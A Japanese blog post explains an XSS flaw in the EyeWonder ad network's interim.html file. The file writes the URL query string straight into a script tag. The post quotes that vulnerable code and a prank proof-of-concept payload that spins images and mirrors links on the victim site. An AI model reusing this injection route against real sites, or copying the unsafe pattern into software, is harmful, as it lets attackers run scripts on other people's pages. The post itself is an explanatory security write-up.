EyeWonderを利用しているサイトにXSSの脆弱性があった

朝からこんなエントリを読んだ。

EyeWonderという広告配信ネットワークにXSS脆弱性があって、こんなことになってしまう。

さっきのエントリで紹介されいていたもので、画像をくるくる回すスクリプトXSSで読み込ませたときのキャプチャ。


EyeWonderのシステムを使う場合、interim.htmlというファイルを自分のドメインホスティングするみたい。interim.htmlの中身はこんな感じ。

<script language="JavaScript">
	var cnnDocDomain = '';
	if(location.hostname.indexOf('cnn.com')>0) {cnnDocDomain='cnn.com';}
	if(location.hostname.indexOf('turner.com')>0) {if(document.layers){cnnDocDomain='turner.com:'+location.port;}else{cnnDocDomain='turner.com';}}
	if(cnnDocDomain) {document.domain = cnnDocDomain;}

    var query = window.location.search;
   	var adUrl = query.substring(5, query.length);
   	var clickthru;
   	var failclickthru;	
	document.write('<s'+'cript language="JavaScript" src="');
	document.write(adUrl+'"></s'+'cript>');
</script>

adUrlにはURLのクエリストリング(?src=aaaaaa みたいな部分)が入る。そしてsubstring(5, query.length)すると、5文字目以降が切り出される。?src=aaaaaaだと、aaaaaaが切り出される。?sss=aaaaaaとかでも同じ。
そしてscript要素を作っている。jsonpなんか同じ方式で、外部のスクリプトを呼び出すことができる。ここでさっきの adUrl が入ってくる。さっきの例だとaaaaaaにスクリプトのURLが埋め込まれていると、スクリプトが動作してしまう。


最初のエントリでインジェクションされていたのはこんなJavaScriptだった。

document.write('<style type="text/css">body{padding); margin:0}</style>');
document.write('<iframe id="iwonder_hack" src="http://' + location.host + '/" width="100%" height="100%" style="border:0;padding:0;margin:0"></iframe>');
setTimeout(function(){
    var frmdoc = document.getElementsByTagName('iframe')[0].contentWindow.document
        ,rotation = 0
        ,links = frmdoc.getElementsByTagName('a')
        ,images = frmdoc.getElementsByTagName('img')
        ,props = ['transform', 'WebkitTransform', 'msTransform', 'MozTransform', 'OTransform']
        ,transform = function(elem, trans) {
            for (var i = 0; i < props.length; i++) {
                if (typeof elem.style[props[i]] != "undefined") {
                    elem.style[props[i]] = trans;
                    return;
                }
            }
        };
    for (var i = links.length - 1; i >= 0; i--) {
        links[i].style.display = 'inline-block';
        transform(links[i], 'scaleX(-1)');
    }
    setInterval(function() {
        rotation++;
        for (var i = images.length - 1; i >= 0; i--) {
            transform(images[i], 'rotate(-' + (rotation) +'deg)');
        }
    }, 50);
}, 3000);

もとのサイトのトップページを iframe で表示して、そのなかのaタグは反転させて、imgタグはくるくる回している。


早く対策されるといいですね。英語はすごく苦手だし、セキュリティは常に勉強中なので、なにか間違った記述や解釈があればご指摘をお願いいたします。